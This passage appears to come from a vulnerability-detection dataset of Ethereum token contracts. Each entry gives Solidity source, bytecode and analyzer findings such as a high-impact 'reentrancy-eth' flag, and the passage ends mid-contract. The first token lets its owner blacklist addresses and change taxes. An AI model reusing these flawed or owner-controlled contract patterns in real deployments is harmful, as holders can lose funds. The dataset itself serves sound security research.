tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 12) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 12) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610348578063c3c8cd8014610368578063c9567bf91461037d578063dbe8272c14610392578063dc1052e2146103b2578063dd62ed3e146103d257600080fd5b8063715018a6146102a75780638da5cb5b146102bc57806395d89b41146102e45780639e78fb4f14610313578063a9059cbb1461032857600080fd5b806323b872dd116100f257806323b872dd14610216578063273123b714610236578063313ce567146102565780636fc3eaec1461027257806370a082311461028757600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a157806318160ddd146101d15780631bbae6e0146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461186e565b610418565b005b34801561016857600080fd5b5060408051808201909152600a815269536869626a6120496e7560b01b60208201525b60405161019891906118ef565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004611776565b610469565b6040519015158152602001610198565b3480156101dd57600080fd5b50670de0b6b3a76400005b604051908152602001610198565b34801561020257600080fd5b5061015a6102113660046118a8565b610480565b34801561022257600080fd5b506101c1610231366004611735565b6104c2565b34801561024257600080fd5b5061015a6102513660046116c2565b61052b565b34801561026257600080fd5b5060405160098152602001610198565b34801561027e57600080fd5b5061015a610576565b34801561029357600080fd5b506101e86102a23660046116c2565b6105aa565b3480156102b357600080fd5b5061015a6105cc565b3480156102c857600080fd5b506000546040516001600160a01b039091168152602001610198565b3480156102f057600080fd5b50604080518082019091526006815265534849424a4160d01b602082015261018b565b34801561031f57600080fd5b5061015a610640565b34801561033457600080fd5b506101c1610343366004611776565b61087f565b34801561035457600080fd5b5061015a6103633660046117a2565b61088c565b34801561037457600080fd5b5061015a610922565b34801561038957600080fd5b5061015a610962565b34801561039e57600080fd5b5061015a6103ad3660046118a8565b610b28565b3480156103be57600080fd5b5061015a6103cd3660046118a8565b610b60565b3480156103de57600080fd5b506101e86103ed3660046116fc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044b5760405162461bcd60e51b815260040161044290611944565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610476338484610b98565b5060015b92915050565b6000546001600160a01b031633146104aa5760405162461bcd60e51b815260040161044290611944565b66470de4df8200008111156104bf5760108190555b50565b60006104cf848484610cbc565b610521843361051c85604051806060016040528060288152602001611adb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fcc565b610b98565b5060019392505050565b6000546001600160a01b031633146105555760405162461bcd60e51b815260040161044290611944565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a05760405162461bcd60e51b815260040161044290611944565b476104bf81611006565b6001600160a01b03811660009081526002602052604081205461047a90611040565b6000546001600160a01b031633146105f65760405162461bcd60e51b815260040161044290611944565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066a5760405162461bcd60e51b815260040161044290611944565b600f54600160a01b900460ff16156106c45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610442565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072457600080fd5b505afa158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c91906116df565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a457600080fd5b505afa1580156107b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dc91906116df565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082457600080fd5b505af1158015610838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085c91906116df565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610476338484610cbc565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161044290611944565b60005b815181101561091e576001600660008484815181106108da576108da611a8b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091681611a5a565b9150506108b9565b5050565b6000546001600160a01b0316331461094c5760405162461bcd60e51b815260040161044290611944565b6000610957306105aa565b90506104bf816110c4565b6000546001600160a01b0316331461098c5760405162461bcd60e51b815260040161044290611944565b600e546109ac9030906001600160a01b0316670de0b6b3a7640000610b98565b600e546001600160a01b031663f305d71947306109c8816105aa565b6000806109dd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4057600080fd5b505af1158015610a54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7991906118c1565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af057600080fd5b505af1158015610b04573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bf919061188b565b6000546001600160a01b03163314610b525760405162461bcd60e51b815260040161044290611944565b600c8110156104bf57600b55565b6000546001600160a01b03163314610b8a5760405162461bcd60e51b815260040161044290611944565b600c8110156104bf57600c55565b6001600160a01b038316610bfa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610442565b6001600160a01b038216610c5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610442565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610442565b6001600160a01b038216610d825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610442565b60008111610de45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610442565b6001600160a01b03831660009081526006602052604090205460ff1615610e0a57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e4c57506001600160a01b03821660009081526005602052604090205460ff16155b15610fbc576000600955600c54600a55600f546001600160a01b038481169116148015610e875750600e546001600160a01b03838116911614155b8015610eac57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec15750600f54600160b81b900460ff165b15610eee576000610ed1836105aa565b601054909150610ee1838361124d565b1115610eec57600080fd5b505b600f546001600160a01b038381169116148015610f195750600e546001600160a01b03848116911614155b8015610f3e57506001600160a01b03831660009081526005602052604090205460ff16155b15610f4f576000600955600b54600a555b6000610f5a306105aa565b600f54909150600160a81b900460ff16158015610f855750600f546001600160a01b03858116911614155b8015610f9a5750600f54600160b01b900460ff165b15610fba57610fa8816110c4565b478015610fb857610fb847611006565b505b505b610fc78383836112ac565b505050565b60008184841115610ff05760405162461bcd60e51b815260040161044291906118ef565b506000610ffd8486611a43565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561091e573d6000803e3d6000fd5b60006007548211156110a75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610442565b60006110b16112b7565b90506110bd83826112da565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110c5761110c611a8b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116057600080fd5b505afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906116df565b816001815181106111ab576111ab611a8b565b6001600160a01b039283166020918202929092010152600e546111d19130911684610b98565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061120a908590600090869030904290600401611979565b600060405180830381600087803b15801561122457600080fd5b505af1158015611238573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061125a83856119ea565b9050838110156110bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610442565b610fc783838361131c565b60008060006112c4611413565b90925090506112d382826112da565b9250505090565b60006110bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611453565b60008060008060008061132e87611481565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136090876114de565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461138f908661124d565b6001600160a01b0389166000908152600260205260409020556113b181611520565b6113bb848361156a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140091815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a764000061142e82826112da565b82101561144a57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114745760405162461bcd60e51b815260040161044291906118ef565b506000610ffd8486611a02565b600080600080600080600080600061149e8a600954600a5461158e565b92509250925060006114ae6112b7565b905060008060006114c18e8787876115e3565b919e509c509a509598509396509194505050505091939550919395565b60006110bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fcc565b600061152a6112b7565b905060006115388383611633565b30600090815260026020526040902054909150611555908261124d565b30600090815260026020526040902055505050565b60075461157790836114de565b600755600854611587908261124d565b6008555050565b60008080806115a860646115a28989611633565b906112da565b905060006115bb60646115a28a89611633565b905060006115d3826115cd8b866114de565b906114de565b9992985090965090945050505050565b60008080806115f28886611633565b905060006116008887611633565b9050600061160e8888611633565b90506000611620826115cd86866114de565b939b939a50919850919650505050505050565b6000826116425750600061047a565b600061164e8385611a24565b90508261165b8583611a02565b146110bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610442565b80356116bd81611ab7565b919050565b6000602082840312156116d457600080fd5b81356110bd81611ab7565b6000602082840312156116f157600080fd5b81516110bd81611ab7565b6000806040838503121561170f57600080fd5b823561171a81611ab7565b9150602083013561172a81611ab7565b809150509250929050565b60008060006060848603121561174a57600080fd5b833561175581611ab7565b9250602084013561176581611ab7565b929592945050506040919091013590565b6000806040838503121561178957600080fd5b823561179481611ab7565b946020939093013593505050565b600060208083850312156117b557600080fd5b823567ffffffffffffffff808211156117cd57600080fd5b818501915085601f8301126117e157600080fd5b8135818111156117f3576117f3611aa1565b8060051b604051601f19603f8301168101818110858211171561181857611818611aa1565b604052828152858101935084860182860187018a101561183757600080fd5b600095505b838610156118615761184d816116b2565b85526001959095019493860193860161183c565b5098975050505050505050565b60006020828403121561188057600080fd5b81356110bd81611acc565b60006020828403121561189d57600080fd5b81516110bd81611acc565b6000602082840312156118ba57600080fd5b5035919050565b6000806000606084860312156118d657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561191c57858101830151858201604001528201611900565b8181111561192e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119c95784516001600160a01b0316835293830193918301916001016119a4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119fd576119fd611a75565b500190565b600082611a1f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a3e57611a3e611a75565b500290565b600082821015611a5557611a55611a75565b500390565b6000600019821415611a6e57611a6e611a75565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104bf57600080fd5b80151581146104bf57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f49864de5d703462096a5ec77eea81848a0bd7c7669264e1992feddfdc58e65364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,691
0x395f47e890cd81307c5fa8814771b93100283daa
pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: contracts/helpers/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". This adds two-phase * ownership control to OpenZeppelin&#39;s Ownable class. In this model, the original owner * designates a new owner but does not actually transfer ownership. The new owner then accepts * ownership and completes the transfer. */ contract Ownable { address public owner; address public pendingOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; pendingOwner = address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "Account is not owner"); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner, "Account is not pending owner"); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0), "Empty address"); pendingOwner = _newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: contracts/token/dataStorage/AllowanceSheet.sol /** * @title AllowanceSheet * @notice A wrapper around an allowance mapping. */ contract AllowanceSheet is Ownable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public allowanceOf; function addAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner { allowanceOf[_tokenHolder][_spender] = allowanceOf[_tokenHolder][_spender].add(_value); } function subAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner { allowanceOf[_tokenHolder][_spender] = allowanceOf[_tokenHolder][_spender].sub(_value); } function setAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner { allowanceOf[_tokenHolder][_spender] = _value; } } // File: contracts/token/dataStorage/BalanceSheet.sol /** * @title BalanceSheet * @notice A wrapper around the balanceOf mapping. */ contract BalanceSheet is Ownable { using SafeMath for uint256; mapping (address => uint256) public balanceOf; uint256 public totalSupply; function addBalance(address _addr, uint256 _value) public onlyOwner { balanceOf[_addr] = balanceOf[_addr].add(_value); } function subBalance(address _addr, uint256 _value) public onlyOwner { balanceOf[_addr] = balanceOf[_addr].sub(_value); } function setBalance(address _addr, uint256 _value) public onlyOwner { balanceOf[_addr] = _value; } function addTotalSupply(uint256 _value) public onlyOwner { totalSupply = totalSupply.add(_value); } function subTotalSupply(uint256 _value) public onlyOwner { totalSupply = totalSupply.sub(_value); } function setTotalSupply(uint256 _value) public onlyOwner { totalSupply = _value; } } // File: contracts/token/dataStorage/TokenStorage.sol /** * @title TokenStorage */ contract TokenStorage { /** Storage */ BalanceSheet public balances; AllowanceSheet public allowances; string public name; //name of Token uint8 public decimals; //decimals of Token string public symbol; //Symbol of Token /** * @dev a TokenStorage consumer can set its storages only once, on construction * **/ constructor (address _balances, address _allowances, string _name, uint8 _decimals, string _symbol) public { balances = BalanceSheet(_balances); allowances = AllowanceSheet(_allowances); name = _name; decimals = _decimals; symbol = _symbol; } /** * @dev claim ownership of balance sheet passed into constructor. **/ function claimBalanceOwnership() public { balances.claimOwnership(); } /** * @dev claim ownership of allowance sheet passed into constructor. **/ function claimAllowanceOwnership() public { allowances.claimOwnership(); } } // File: zos-lib/contracts/upgradeability/Proxy.sol /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn&#39;t return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don&#39;t know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // File: openzeppelin-solidity/contracts/AddressUtils.sol /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param _addr address to check * @return whether the target address is a contract */ function isContract(address _addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(_addr) } return size > 0; } } // File: zos-lib/contracts/upgradeability/UpgradeabilityProxy.sol /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is * validated in the constructor. */ bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; /** * @dev Contract constructor. * @param _implementation Address of the initial implementation. */ constructor(address _implementation) public { assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation")); _setImplementation(_implementation); } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) private { require(AddressUtils.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: contracts/token/TokenProxy.sol /** * @title TokenProxy * @notice A proxy contract that serves the latest implementation of TokenProxy. */ contract TokenProxy is UpgradeabilityProxy, TokenStorage, Ownable { constructor(address _implementation, address _balances, address _allowances, string _name, uint8 _decimals, string _symbol) UpgradeabilityProxy(_implementation) TokenStorage(_balances, _allowances, _name, _decimals, _symbol) public { } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) public onlyOwner { _upgradeTo(newImplementation); } /** * @return The address of the implementation. */ function implementation() public view returns (address) { return _implementation(); } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100cf578063313ce5671461015f5780633659cfe6146101905780633ed10b92146101d35780634e71e0c81461022a5780635c60da1b146102415780637bb98a68146102985780638955ed7e146102ef5780638da5cb5b1461030657806395d89b411461035d5780639b2bdc20146103ed578063e30c397814610404578063f2fde38b1461045b575b6100cd61049e565b005b3480156100db57600080fd5b506100e46104b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610124578082015181840152602081019050610109565b50505050905090810190601f1680156101515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016b57600080fd5b50610174610556565b604051808260ff1660ff16815260200191505060405180910390f35b34801561019c57600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610569565b005b3480156101df57600080fd5b506101e861063a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023657600080fd5b5061023f610660565b005b34801561024d57600080fd5b5061025661086a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102a457600080fd5b506102ad610879565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102fb57600080fd5b5061030461089e565b005b34801561031257600080fd5b5061031b61093d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561036957600080fd5b50610372610963565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b2578082015181840152602081019050610397565b50505050905090810190601f1680156103df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f957600080fd5b50610402610a01565b005b34801561041057600080fd5b50610419610aa1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561046757600080fd5b5061049c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b005b6104a6610c75565b6104b66104b1610c77565b610ca8565b565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561054e5780601f106105235761010080835404028352916020019161054e565b820191906000526020600020905b81548152906001019060200180831161053157829003601f168201915b505050505081565b600360009054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561062e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4163636f756e74206973206e6f74206f776e657200000000000000000000000081525060200191505060405180910390fd5b61063781610cce565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4163636f756e74206973206e6f742070656e64696e67206f776e65720000000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610874610c77565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634e71e0c86040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561092357600080fd5b505af1158015610937573d6000803e3d6000fd5b50505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109f95780601f106109ce576101008083540402835291602001916109f9565b820191906000526020600020905b8154815290600101906020018083116109dc57829003601f168201915b505050505081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634e71e0c86040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b158015610a8757600080fd5b505af1158015610a9b573d6000803e3d6000fd5b50505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4163636f756e74206973206e6f74206f776e657200000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f456d70747920616464726573730000000000000000000000000000000000000081525060200191505060405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b565b6000807f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c36001029050805491505090565b3660008037600080366000845af43d6000803e8060008114610cc9573d6000f35b3d6000fd5b610cd781610d3d565b7fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000610d4882610e0f565b1515610de2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b8152602001807f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f81526020017f6e20746f2061206e6f6e2d636f6e74726163742061646472657373000000000081525060400191505060405180910390fd5b7f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c360010290508181555050565b600080823b9050600081119150509190505600a165627a7a7230582072bb4bbd2bf29e21fc63afadfd0d610a43678875030d2e27bce0b91fab2766a60029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,692
0x6Ce9ed976f40D6615fe6a88aE7D7dC9928F30cC3
/** *Submitted for verification at Etherscan.io on 2021-07-12 */ /* ______________________________________________________________________ ShibaKimono Fork of KungFu Inu. t.me/shibakimonogroups (゚o´(┗┐ヽ(╰,╯ )ノ // No dev-wallets // Locked liquidity // Renounced ownership! // No tx modifiers // Community-Driven ______________________________________________________________________ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns 